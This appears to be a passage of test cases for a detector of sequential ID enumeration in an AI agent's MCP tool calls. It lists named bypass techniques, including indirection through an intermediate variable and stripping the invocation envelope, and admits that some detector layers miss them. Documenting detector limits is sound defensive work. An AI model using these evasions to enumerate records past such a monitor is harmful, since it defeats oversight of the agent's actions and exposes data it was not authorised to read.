    notes: "Shuffling the order defeats any consecutive-value check, but the burst layers count occurrences rather than verifying arithmetic succession, so a randomised sweep of the same ID space still fires. The trade-off is that these layers also cannot confirm succession when it is present."
  - input: "const target = base + 1; await mcp.callTool('n8n_workflow_versions', { mode: 'get', versionId: target });"
    expected: not_triggered
    bypass_technique: indirection_through_intermediate_variable
    notes: "Genuine bypass. Computing the next ID into a separate variable one statement earlier leaves the tool call holding a plain identifier that layer 1 does not recognise as a counter. Data-flow analysis, not regex, is required to follow the binding."
  - input: '{"a":{"backup_id":11},"b":{"backup_id":12},"c":{"backup_id":13},"d":{"backup_id":14}}'
    expected: not_triggered
    bypass_technique: invocation_envelope_stripped
    notes: "Genuine bypass, accepted deliberately. Layer 3 requires each ID to sit inside its own invocation envelope (tools/call, method, arguments, params, jsonrpc). A transport that logs only the bare argument objects therefore evades it. This is the direct cost of the layer-3 tightening: without the envelope requirement the layer fired on the guarded tool's own authorised list response, which is byte-for-byte the same shape as this input. A detector that fires on every successful list call is worse than one that misses an envelope-stripped log, so the envelope is required and this miss is documented rather than closed."